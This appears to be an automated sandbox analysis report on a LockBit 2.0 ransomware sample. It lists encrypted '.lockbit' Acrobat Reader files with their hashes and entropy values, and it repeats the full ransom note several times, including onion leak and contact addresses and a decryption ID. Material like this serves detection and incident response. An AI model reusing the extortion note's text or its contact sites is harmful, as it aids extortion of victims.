SHA1:	7BDB7A4282AA07E220364048C6FB2A0A2C78BA24
SHA-256:	ACB015A021DB1A0F390467C6AE3C3CA794B9E1EA08088D306096D117FE58E4D7
SHA-512:	4B0AAE66559907FB8C2C7C01DD62ED9C51D98F353F48D2F03ABE8E778765EBB2466F5A3E7120DA51006AC8A9D2B4994EFB9069286072C3F6BE7614A007BBC298
Malicious:	false
Preview:	LockBit 2.0 Ransomware....Your data are stolen and encrypted..The data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom..You can contact us and decrypt one file for free on these TOR sites..http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion..http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion..OR..https://decoding.at....Decryption ID: 8E5BB08F19AA7B0A32CC92B22E043ED8

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\locales\en-us.pak.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	7.620094112664849
Encrypted:	false
SSDEEP:	12:e6zki73ZLhW4fW9ATaOr2130ZUFAe6pyEPXtLfwMeqxlvB7:1z973ZFW4focaOrE0iFWyEPXt4qzvB7
MD5:	35F2A14F629CEA07EF0881C4A3A8F6F1
SHA1:	EB35ED04F78E2B3F8AB1DF8D74F0387154AF9A14
SHA-256:	3533D0CE506310717AD7BE8430A3E89891FE9F4BDD4AC93C2B9181937C31076A
SHA-512:	D8B1669D59940FEBA9A72D7B40F8DF8CF470B22527A79583850709A11A388E6CD5DED8BB701B4C2671A6A0F478381648EF12B0AB70525B267E5C05D1967C271D
Malicious:	false
Preview:	.M...d.A..%..........4....-.4T+.>.l.~........n.."..m.W...iHa.H..~...../....,...\t.............^.......f...9m...5.S...# .....JR..YMD....L..U...i......h.O,.(...'...B).s...y..-W.z..I....c5..S..^Z..t..1.....0bv.......=.Z...V......+.2...{.....Rf[G.;lFuR.r.....Wg$...:...-oV....K...p._....it.$.>.b.....BW....`.qgmb....d..C;...0....%.K...]...j5.GFq.z{z.C..H....<a.V^.._.A1...>.......1=>.....@..o.7...V.c...q..Oo.....S..U./..@..O......@=..>$...6z....q.=....T...V.sNA...h&..F7T.....l.[....{.2....>.

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Browser\WCChromeExtn\Restore-My-Files.txt

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	512
Entropy (8bit):	5.223574358919126
Encrypted:	false
SSDEEP:	12:NRAy9+MLXw/wmkRh6f5l6gAQLwYXucnsLc0w9g/hR4TAcko/WYeFTYhtn:NRJIMLBmkqBl6gAlY59yhR4TnkqWYj
MD5:	24EC776DA40933239E1287D384D944CA
SHA1:	7BDB7A4282AA07E220364048C6FB2A0A2C78BA24
SHA-256:	ACB015A021DB1A0F390467C6AE3C3CA794B9E1EA08088D306096D117FE58E4D7
SHA-512:	4B0AAE66559907FB8C2C7C01DD62ED9C51D98F353F48D2F03ABE8E778765EBB2466F5A3E7120DA51006AC8A9D2B4994EFB9069286072C3F6BE7614A007BBC298
Malicious:	false
Preview:	LockBit 2.0 Ransomware....Your data are stolen and encrypted..The data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom..You can contact us and decrypt one file for free on these TOR sites..http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion..http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion..OR..https://decoding.at....Decryption ID: 8E5BB08F19AA7B0A32CC92B22E043ED8

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Browser\WCChromeExtn\manifest.json.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	7.79948230995456
Encrypted:	false
SSDEEP:	24:4hXUFo3ta1vLSb3i2a1SWSGUBd/bQBhDjQ1hmND4qzvB7:4hkFo3mzS7i/bZAd/b2hHQ1U5Nzp7
MD5:	09043D3F660A289712530F9ABE5FDBF8
SHA1:	6985AFB32D1184EBCE21A9FF038ED7188DF1A350
SHA-256:	AC1FE041EAC6CF1DF299A21298AA9F2AD9E08AF6620B44BD8DAB20C186B5BB36
SHA-512:	27544E4AE1BB22118660A03368590603069C8436F7C710FEAC79383B796FE448804B9713AA2B76EAF715583D7270C370ACD0E9B4B9CD325FE0E1CBE2FCCD441F
Malicious:	false
Preview:	\.W.S..=.\.Y^....../...mu:...;.^....I...j.ZO~J...I...lE.x.f...qX@.<wC.8[Ww^."d.-....6F.b..&.R.2....v.,k.!j.fl.>;..&.`#T..QDc.2Q..8.pl...W^.t..,_.l...J....\._.WVE.my..!\...(....H.a..:....)\|.Yg!}:.v...-..K.I2lz=$.S...j...*......Y...A.7..E...v.....g^#..t.../.+...f...../.me..../(..KPpY"..f..'..b...8.....\|.4.v..$.Sh..bC...B.F...ID. ........v..Fc..'V..gJ.W.+<E.....W...5w....:.@.8d..A...>U....c./&h...c....+.C...?....#.T.h%..V....]..n..?..Y.C.."....y.L.S.p..Jj......W...!..f. ....f....#......qD...'....Y5...D.......>a.V....../.#..[..y....W3\t...rt..}..\0.6........O+...D.w$.8...t......5H.>...<....g#D.z.uY.....a.....ru.Q..Ed(..o}...=0..H....}..+.tw..~..9.}.}:..NB.x.!OE....q. B..Jvyz..tXT. .3..9.0.;...}......n.X`..N.W]H./....]..6.Y...]..oU...y.D.2.r.....xS.]#G.h......k...x0.-../.#.6..7 .....8.UT.1...3d.J.<gP.._.,.J..5n......gGH:BMr..tdkX#5.}i..G5d.[S....XOA.1...>.......1=>.....@..o.7...V.c...q..Oo.....S..U./..@..O......@=..>$...6z....q.=....T...V.sNA...h&..F

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\IDTemplates\ENU\Restore-My-Files.txt

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	512
Entropy (8bit):	5.223574358919126
Encrypted:	false
SSDEEP:	12:NRAy9+MLXw/wmkRh6f5l6gAQLwYXucnsLc0w9g/hR4TAcko/WYeFTYhtn:NRJIMLBmkqBl6gAlY59yhR4TnkqWYj
MD5:	24EC776DA40933239E1287D384D944CA
SHA1:	7BDB7A4282AA07E220364048C6FB2A0A2C78BA24
SHA-256:	ACB015A021DB1A0F390467C6AE3C3CA794B9E1EA08088D306096D117FE58E4D7
SHA-512:	4B0AAE66559907FB8C2C7C01DD62ED9C51D98F353F48D2F03ABE8E778765EBB2466F5A3E7120DA51006AC8A9D2B4994EFB9069286072C3F6BE7614A007BBC298
Malicious:	false
Preview:	LockBit 2.0 Ransomware....Your data are stolen and encrypted..The data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom..You can contact us and decrypt one file for free on these TOR sites..http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion..http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion..OR..https://decoding.at....Decryption ID: 8E5BB08F19AA7B0A32CC92B22E043ED8

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\IDTemplates\ENU\adobeid.pdf.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	82944
Entropy (8bit):	7.907170900986868
Encrypted:	false
SSDEEP:	1536:KS8+D4DntQ88c/h97N1xY+70umYYBN9ELwracFbpE86GD+XDKAFoL/oslqd:KSz4WfK7NMGS0P80XXoLzg
MD5:	38D4AF5C076303D565E61F360880929B
SHA1:	7F73C5B7EA32A659E3D33E868CFE3CD9C8798D3C
SHA-256:	2823CBA0BC07D88BA0E3DAF17356AA28D9D8F41D1FFC12ECC3E74F786A0D5FC9
SHA-512:	52FBB17140DE0BEF530C6D9FDF7D15CC78B3082A48890D7A38BE979BFF8B33CF01812A4CDA727E5EA579C2E213B998CA9BBD40F9964AD17C87D09DA8C6EB9032
Malicious:	false
Preview:	,..bh..^.._Y...5.]..\|4...[....lx.G........4[..TP9......u."..q..Z.=M....j...(U.5alx...C.<Cq.Y.....X2{.?._3E.)m._2....1X......."".}R..y.....#V.Y.x...t.-a.#..\......n.y.cd7,(3Hs5...TL....F$.>.c..0...P....o=W@.f9.E.."..w6...a..YU..dY.}.NH...Pe..m.II....L..Ls.\.4.$.+Q...(.JW..\../.0p..{&....}M<..Z/).U.........JJ..'.Ti..'z....Q1.L..o..b..X[...cbN...r.D.).....e...E.C.R...X..g..:;...Z...WP..x.."..U2..HC.Fp..+!c....c......b..L#wh...ZB..8K.j..h.?Z..$...c.....n....A..M.9y.4"......~.v+..m.cic3.F...t1.....=..q..a..`...>1...3a.2._.}.../...a.;.wIj.........)k..R.o.o.}.8.M...rHm8.N..8..k..e$..t...z.0......^y..yd/xy........fS.7.....V....7...jl-[Bx4b.o......"..HHLS.......%..y..+..9.....n..F\|.&F.+R..3.U.^'i.\.zte.#.....LJp.......WP...c.N.).Zw....}h..%.Eg..i.5tZ!jv........iL].#...2z:b....C.P.....C.y.R.*.3.$.8.+..._..p.....$...\|2_gDs.1.5X.$.U.v. w.r....c....7v.L:qyT..9g.[....C.gBz..92f./.M.}N{&n..p.....G.f.a{...~...8..N^..V..s.r.V..u........u.....wS..A.e.vQ=.....V.

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\IDTemplates\ENU\defaultid.pdf.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	81408
Entropy (8bit):	7.912407531453234
Encrypted:	false
SSDEEP:	1536:4f/Jk4DnAo8c/h97N1xY+70umYYBN9ELwracFbpE86GD+XDKAFoL/oslWh:4f/Jk40bK7NMGS0P80XXoLzO
MD5:	3A7A7BABF8C986843FD046D80BC8225B
SHA1:	ECBD314AC169A061A6BB1C70CE75FAB75C17BCE9
SHA-256:	108C86E891037F75C7E6D6362EE04501B1EB122537AD57302D1B59FBC9F32636
SHA-512:	C6101DC82C0B49EAF48820E7115585AEE18E91E2AD6ACBA973FC404F776F9B6A0B126CEDF1FB0880C755A798AFA6AC9C433C90C02587F1693CB41395DFD9D451
Malicious:	false
Preview:	..-..q........}...I..rI.....@.A...d.S.`....H....Q.\..o,J.'...6?......\....f..u.R.-x.A..:./....?O...-.b.R.m...'..Z.?R.:8E-Q...:...R.b;..;(a.].z...#.L.D.q.p.o..lr....q...wiU1Q.o:.X:3.&];.byLl..-..=...p.zB:".S..^........d4..p.....(..Gix..]...._..m<E`....R.SZ.@mF7..a.y..L..E..`j...O".=..5..2.N.sW.k......3...-.k.C..a+.._........:s.j.............=..1...O."..\..i.#.I.XC...v...lz.u..[........z6....!;...O.A..Zq..8m..o!n....M>.....8.....0U)../6........@....w.q....4.......'...N"t.9..t.#..[].N.(../..A..\.l...O...{u.?.Dta....5k'.WJ...s.k......M....K..YC.e..x...6n..l....t.\...H.[V].}...K1w...Yuu..`..V.X..(`5l.)....w.G?....3]g.G.p#.-...kBP./....l.K........{...oQ..?.M..u..tC.....w.._..d.U.A....;g..'.2...O..~.r...~.0.._.+..c....Oo..G./....sP.....N.!7b....D...v.m..<,E.\|a.-i.o\.A..B...h..o.[..$:fo,.4....N.E^\7w.t^O..Y\...I.m.z...=2n.sR.ja.Z8.t.8.<..>b,...<.k...$W..D....W.b...N.x..".SsO...cQ.Q.....{...r.....[noq,..PwH........1? g..]......e....(...4Q...

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Legal\ENU\Restore-My-Files.txt

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	512
Entropy (8bit):	5.223574358919126
Encrypted:	false
SSDEEP:	12:NRAy9+MLXw/wmkRh6f5l6gAQLwYXucnsLc0w9g/hR4TAcko/WYeFTYhtn:NRJIMLBmkqBl6gAlY59yhR4TnkqWYj
MD5:	24EC776DA40933239E1287D384D944CA
SHA1:	7BDB7A4282AA07E220364048C6FB2A0A2C78BA24
SHA-256:	ACB015A021DB1A0F390467C6AE3C3CA794B9E1EA08088D306096D117FE58E4D7
SHA-512:	4B0AAE66559907FB8C2C7C01DD62ED9C51D98F353F48D2F03ABE8E778765EBB2466F5A3E7120DA51006AC8A9D2B4994EFB9069286072C3F6BE7614A007BBC298
Malicious:	false
Preview:	LockBit 2.0 Ransomware....Your data are stolen and encrypted..The data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom..You can contact us and decrypt one file for free on these TOR sites..http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion..http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion..OR..https://decoding.at....Decryption ID: 8E5BB08F19AA7B0A32CC92B22E043ED8

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Legal\ENU\license.html.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	48128
Entropy (8bit):	5.7904574248940515
Encrypted:	false
SSDEEP:	768:ropTDHGerVwoaGQJanXCCxZOgDiuWaT0A:ropmwwoaGQ8nRJWaTX
MD5:	311CB2E99F4E46B2CB74CA460A2FC221
SHA1:	1CA5F619E30F6FA27FD3B205EB6B917FCCCDF3E4
SHA-256:	605B27E9B7F7FC015780563E554682DB0B8BE1485796623E5E682E9029466C26
SHA-512:	2BD041C019C634DF409AB3BC07676554A1413E48C95AD37EACA2AFA9931042BB3F33139BB914350585DEB29708088A86122C5BFEB17FF46695A479188BB9197B
Malicious:	false
Preview:	.20.....:r...;.`...b...q..s .`.@..O..)..~.r..j.w.r.......C...c...r(;.$.$a.~.d.....v)..8.S..3..N..........ju....x.Mp...P..Y'..rY...M....Q4.././..<w.a....q.v....7!H...n.`..0:..G...D!q..6.e....wz....f..0....c.$.!_.,V...m...r;...u..d..j$......82C...MK3v.s.Wv0xyw.'Yn...8../.rg..1.ou-.E.....do..v..U..Y.zOa=.\|.&.G;.....g,,o..Z......D...>I..3..CPT..7..i..7qD......H<_..D...V..^.:.b..k@.#..r.A.T33Is...Ax.o=...^G.p.S^.........F..q...W.....3]-.y..CU>....]j....h.....Yh.....I.wm..su..r...I........n... (.Rw).'...b.1r,. ..2Dr,s..a.I+....4..+.[[...q.uk(.....6..OC9u'../n.2..a .j......j..{..(....XU...e...C.9..>~.C..:...1.G$.'.c}Lq.I).......q.c6.t.j\|.i5 ...W...thf.o......&.a._.K\B....sPE...W3.:....J&.=$...e^....f.%....". \....."....#.WP=M~Rx.6}..5..iM.].\|...:.X..k...T.hQ.p.m.l.Y.^....).&..h.r....g.....lB..A.a.F...z.h.=,d...C....q..a.C......{.~.Q.7....._D.J.0-.W..8....9..?0}.8;...`.xY....#..R7..v....+.\|....<....d..T..9..v.....!&..'......r.>..7.6...

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Locale\en_US\Restore-My-Files.txt

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	512
Entropy (8bit):	5.223574358919126
Encrypted:	false
SSDEEP:	12:NRAy9+MLXw/wmkRh6f5l6gAQLwYXucnsLc0w9g/hR4TAcko/WYeFTYhtn:NRJIMLBmkqBl6gAlY59yhR4TnkqWYj
MD5:	24EC776DA40933239E1287D384D944CA
SHA1:	7BDB7A4282AA07E220364048C6FB2A0A2C78BA24
SHA-256:	ACB015A021DB1A0F390467C6AE3C3CA794B9E1EA08088D306096D117FE58E4D7
SHA-512:	4B0AAE66559907FB8C2C7C01DD62ED9C51D98F353F48D2F03ABE8E778765EBB2466F5A3E7120DA51006AC8A9D2B4994EFB9069286072C3F6BE7614A007BBC298
Malicious:	false
Preview:	LockBit 2.0 Ransomware....Your data are stolen and encrypted..The data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom..You can contact us and decrypt one file for free on these TOR sites..http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion..http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion..OR..https://decoding.at....Decryption ID: 8E5BB08F19AA7B0A32CC92B22E043ED8

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Locale\en_US\stopwords.enu.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	9216
Entropy (8bit):	6.718441902041926
Encrypted:	false
SSDEEP:	192:PY3MzeJz9hehyxg3Utz1LhMNUqi0u9KfQr8IspDTh:AIqzf7qUtHMGiuPr8pT
MD5:	3FD776AE5F36CEDCBFA9EB89AF693B0E
SHA1:	26DB9A2ADE5F275FC1BFE8432EAB539D30553A8A
SHA-256:	7D460ED110D3B38F116E20D9835D07412B51D23EDA9B52DF2E9B663EE412D445
SHA-512:	7DA923A03FAFCF623F1A36A20771728F84E6F9BF93518710392B6062D63DABFC3DB0D508E4E9DFB01C8A3953F897F76378992FC21C91F3C3ECE9578383D57850
Malicious:	false
Preview:	.o...qh.6.y.8...w.m.eg....bH'^.0....\+...Z1....1r.Z."E..........v4g.C.q...A{.+...nlgY.]gpy..R](^..7%.V..C.......W1.T...@H.......~J...x.r..2...u.v{".u.].U..Jo.<S.....O....9.9.1...y...JW.3....x[0B?M...`.6./'2.HJ.....I..4.L.<iT&$dz..._..Iy..C..U..9......6.;.{&..o..>.>..vz..K1.J....J..Dl.wz.(C..m....m+N...n../.<..d;.E..........v.$..H..+.E.{8...&.c.{{.}...hU7d.LH..C.J...........{..z&UF..Xa.zm.7l...=..wF..,...Z3.o.}O.........8...t.2.^..-.t......0..N/L.A..=]D.X_.z...7rk.=._...el3.b=.3..<...,;....k.^.y.....Y_...z...r...bJ.,I..h......5..h`.?Ga.s....4....'......n...\..R.d.........!....{.T....)........E..D.q5\.........j...h.[........;3...M.....u.8%.-..`.-...W....A..=..H.........v.6Am.%.U.Kh.F.%3..._7.]..Y...>...K.\|)..vQO\|..,9...:.u.Q.l}2H\|.L..%mT...[y....?..9...@o...t......kV-.6...^...3`.....3..e..e....1,..O.Q.......d-......61.h`.t...........CO.P....u..o`...As@..!T.. .C....Gu.b.s....{A3P....F..C......... "(h.Wt;.Q..u.[.s.....0}7....ic.&S.q.w...~)..O.\|..:..q...

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Restore-My-Files.txt

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	512
Entropy (8bit):	5.223574358919126
Encrypted:	false
SSDEEP:	12:NRAy9+MLXw/wmkRh6f5l6gAQLwYXucnsLc0w9g/hR4TAcko/WYeFTYhtn:NRJIMLBmkqBl6gAlY59yhR4TnkqWYj
MD5:	24EC776DA40933239E1287D384D944CA
SHA1:	7BDB7A4282AA07E220364048C6FB2A0A2C78BA24
SHA-256:	ACB015A021DB1A0F390467C6AE3C3CA794B9E1EA08088D306096D117FE58E4D7
SHA-512:	4B0AAE66559907FB8C2C7C01DD62ED9C51D98F353F48D2F03ABE8E778765EBB2466F5A3E7120DA51006AC8A9D2B4994EFB9069286072C3F6BE7614A007BBC298
Malicious:	false
Preview:	LockBit 2.0 Ransomware....Your data are stolen and encrypted..The data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom..You can contact us and decrypt one file for free on these TOR sites..http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion..http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion..OR..https://decoding.at....Decryption ID: 8E5BB08F19AA7B0A32CC92B22E043ED8

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\Restore-My-Files.txt

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	512
Entropy (8bit):	5.223574358919126
Encrypted:	false
SSDEEP:	12:NRAy9+MLXw/wmkRh6f5l6gAQLwYXucnsLc0w9g/hR4TAcko/WYeFTYhtn:NRJIMLBmkqBl6gAlY59yhR4TnkqWYj
MD5:	24EC776DA40933239E1287D384D944CA
SHA1:	7BDB7A4282AA07E220364048C6FB2A0A2C78BA24
SHA-256:	ACB015A021DB1A0F390467C6AE3C3CA794B9E1EA08088D306096D117FE58E4D7
SHA-512:	4B0AAE66559907FB8C2C7C01DD62ED9C51D98F353F48D2F03ABE8E778765EBB2466F5A3E7120DA51006AC8A9D2B4994EFB9069286072C3F6BE7614A007BBC298
Malicious:	false
Preview:	LockBit 2.0 Ransomware....Your data are stolen and encrypted..The data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom..You can contact us and decrypt one file for free on these TOR sites..http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion..http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion..OR..https://decoding.at....Decryption ID: 8E5BB08F19AA7B0A32CC92B22E043ED8

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\add_reviewer.gif.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	2048
Entropy (8bit):	7.914795230122323
Encrypted:	false
SSDEEP:	48:i+THvQtQraFYqsltTV/3CHgWJE9q2T3JFP6mNd8/SSenFzp7:L7DrxtTV/jWXGyLSrz
MD5:	EC17A0FE7F454CE8271B7CE6D96A1C30
SHA1:	062B906C485F45EF5AB7E0D273ADAF541557DE00
SHA-256:	4847EC020390BDCC943149C0447DE636288E31E18B7BCF8671C4EB435ED84C5D
SHA-512:	0D917A4A1421E7288692FD0610203DAF0EBF860C85B30B13A4B25BE529FA02EF972C539FC01C5A45F89BCF626E08C636DD08CBFA5F02CD3C72886CC42D1DD9A9
Malicious:	false
Preview:	...o....,.u.r7.....b...%....S"HR .1..}k...1.....d".\.O..C:#.ZZ.2Q.o..9.3Nx~.0.T.%...@6N(K......e.....x....4{..!.J.......J\.....3..Ga..?.]...#4U.O....j...ieL...#..j.\p...qF._...ZY...1&Q.xi....l...DeP.F...@..\|......{9....&A.~r..a.2..5...A.mf.....7.6.})...9........o..%{.;DTKb.f cC..@...v\.......X..JF..~.k...&..o.g(.u=;0zp........u.~.%#.....!.:.5.7...s'.9...[..Y.....z....i......&...wS.a`m....t/f...-..y..l+c.%b;.........e....J..o...p...........z.L~.".E./.3.l...Ru 7....).....?b....../.V...w....EC.$......[`.L....\s.Q....P..y.mw...0b.he<[..&.s..].J&&^../.O....J.......X._...~. .z.....2..=..?.rR<......K.@...s..p...q.3O..e.ChE..9....~..t.]MHw.....{......>.P[..f......T...k...3. @..W.Si.\|.M.B..fC......'..e....Y....eEF....N..RYFsw ..?.n.:.....qn7I.F.'....1.....s.b...v....N.<=B.....J.\|P3./...X..4..L.....b....z.w.e...9.5.R.t...]..H.X;.....&. p...".7+'1...j.&.PK.Dv.xt.r.G=..k +..)...]P3..M......FG...j..l%....."k.L...0.cu...xXJ<DW...Z.....pqB..i..l.. ..

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\bl.gif.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	7.790695680772274
Encrypted:	false
SSDEEP:	24:J2DW8jn/HHhEqi6Lf63TQaeQ0Sae2TWMRS9h03Soap4vfAomqzvB7:78jvHhEj6Daz0SH2VRS9hYSok4Hjzp7
MD5:	8131BFDA6843E8C8F6B09966C324D314
SHA1:	F0B445A62282A154DB0C96D2B8E23D872F1C57A4
SHA-256:	05525C15E6391CE3B6F778507B13F7B14D3B6352D529A2BC6A661BF04B1F2077
SHA-512:	3E0C1BED4338FF16C20C1E53C301741F7375F3E444AA8961DA076D6477FB71FC8F7C4F27577276B348D2FBC18BDD1038B5D44F5B9555EF1C5517F24909FD9332
Malicious:	false
Preview:	=.....a..:..d(h..g.....b...I..72..>[..+,..XU.........4.n../.:......{.7vs.B.".q[......\.J.k..h..A.b...EX.;..t.Nh.)..c."..V...HP{.i.....[.v....]h.mP....8.K...].n.'xx...6!.+...@"..\|..91=..(._/=.:....2z...sj'.`.C..W.1..)....7}f=1\.s.......u....(.L_......c.:.K..(#..N$..3..`.......Y..+%....+..1kWJA.QP.\|-yx);..T.1.E.."GC..!....o~..j5s$g~}....%.X..=v..c.#.. ..6n!D.M.R0..?.M@.......{.S.."...Pj..+<.N..x./.."`=..a.$.h1YH...............E8....L1.d..'T.o.....C9R.RTj.....ME+FB?.f...Cto.l.1CJ:.t.....-..t.+.j..L...F.~=..g..x........Tp...o..4w.. '/...:..........o.0.B....r.......0Ct...e...`.......B..s4.....z....)c...........1a...ENY&X......v.0W..2.1.....q0C.9..y..P.DT.\|I!.....dZ..........a.1..,9@>.j .pL.B.........(...{@..M.L-.u.Od4F...c.w"...k7.S....t!.. .x. cQk.H`.K.S.`..h.t.c.?C..f.....U.).....!..Ir.f.q-.....R.w%>...;...G.K...N/..o..0..)....]P..I.a.?Z1..E.Gr.!1...>.......1=>.....@..o.7...V.c...q..Oo.....S..U./..@..O......@=..>$...6z....q.=....T...V.sNA...h&..F

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\br.gif.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	7.787781232940975
Encrypted:	false
SSDEEP:	24:EUR6ep2yKjHBPj8EBQyZhSqwluYcFoqzvB7:EUQG2KEBQ4hEl+Dzp7
MD5:	BBDB8E1D5AD27BCFB9E6896BF10649B7
SHA1:	CC266CB051DF527BA548992E3A2F15F39E238012
SHA-256:	F6A0702D6AED964F45979CFEB7EC97299A2DA53DD9B9E2EDFF0887F9A3141EA3
SHA-512:	95EA55121C9FA20DB32BDE6B42B1A58B8C851B0090B70162B47D5E38839EAFB57758CE926BCDB03146C2691B610A1E171F1AE7F4087CC3AA4F3126B1E0D63DC7
Malicious:	false
Preview:	:..Wl).re...j...o....c..d.X.....}Q.r].(...x-h..m...r.y.{....q\|..q.U...v..wr.I"b.nv.".F..Ww7.s.E..Z...[X.)6...P...R..\+...N.1....qv....T........Q~l.8..!t!.....=.'A......l`U.8..H..Td.........L;.F..uGQ.].e...!.....G..w.nho.p/.......1..,...=...o.....4...!.".......:.....h....[9.{e;..+mm.=..V..H..A.q.._...(..".\|....2..."@..yo.D...!}........[....J./2.i./6Wm....!......%.h...+...w_4.^!..F.)%...?..g......H...y....../.....b.01.............t...,..#.%'N.9....3......-...f._...!G.uP6.U..I Z`I...v; .....\A.pU9....._x.....82\|..j.eDi.........>2....L8.....A. l..ZF_.~..b^b.=O.c/Vn.J.. ?. I...^.G................s....R._U.....f}A...Q..qX...e..1B...G.x ....WW.].B...A!.!...(...5...x@..Kh\.f........HE..Y...}.r..........o..[.\.,9JE.Y[...Zu ./..zf..&Orx ..8.,....r5..S+...{.{Nsz........0&....0.. ....t.V2...;.....-.jx...._..(@..;].Otm)....c.../.if....z..v.kT....UY.1...>.......1=>.....@..o.7...V.c...q..Oo.....S..U./..@..O......@=..>$...6z....q.=....T...V.sNA...h&..F

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\create_form.gif.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	2048
Entropy (8bit):	7.896505407413591
Encrypted:	false
SSDEEP:	48:kqJMxDMG1/+4PbsVURKXTT9cMDZ1l2NsKl2Rzp7:pV6m4PbxsjhNZ1Mu
MD5:	C21C634B66A9479BA2B302693BC48856
SHA1:	80965F1E3A52A95B404F8E561535655A58150CDD
SHA-256:	1E016EA860FDC613351513BECA78A6DD6E8508531314A7931DA0C68319BCDFED
SHA-512:	8FE88ECB884C3A93D7D72CA437BE8D73BA355D6F8B194565461823C63DF9F54C838EAD0EA581A6CB8C7A4F9267F57F52D2EC894FF744B97D56916BEA8CDC99C2
Malicious:	false
